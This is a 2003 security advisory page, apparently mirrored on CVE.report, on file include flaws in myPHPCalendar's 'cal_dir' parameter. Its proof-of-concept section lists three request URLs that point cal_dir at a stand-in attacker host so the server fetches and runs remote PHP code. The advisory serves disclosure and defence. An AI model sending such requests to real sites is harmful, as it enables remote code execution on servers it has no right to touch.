Multiple myPHPCalendar File Include Vulnerabilities

BID:8820

Info

Multiple myPHPCalendar File Include Vulnerabilities

Bugtraq ID: 8820
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Oct 13 2003 12:00AM
Updated: Oct 13 2003 12:00AM
Credit: Discovery of this vulnerability has been credited to "Frog Man" <[email protected]>.
Vulnerable: myPHPCalendar myPHPCalendar 10192k Build 1 Beta
Not Vulnerable:

Discussion

Multiple myPHPCalendar File Include Vulnerabilities

myPHPCalendar has been reported prone to multiple file include vulnerabilities. These issues present themselves due to a lack of sufficient sanitization performed on user-supplied values for the 'cal_dir' URI parameter.

A remote attacker may exploit these conditions to include arbitrary external PHP scripts and have the code contained executed in the context of the web server.

Exploit / POC

Multiple myPHPCalendar File Include Vulnerabilities

The following proof of concept has been supplied:

http://www.example.com/admin.php?cal_dir=http://[attacker]/
http://www.example.com/contacts.php?cal_dir=http://[attacker]/
http://www.example.com/convert-date.php?cal_dir=http://[attacker]/

will include the files :

http://[attacker]/vars.inc and/or http://[attacker]/prefs.inc

and http://www.example.com/index.php?cal_dir=http://[attacker]/ will include the
files :
http://[target]/globals.inc http://[target]/sql.inc

Solution / Fix

Multiple myPHPCalendar File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Multiple myPHPCalendar File Include Vulnerabilities

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report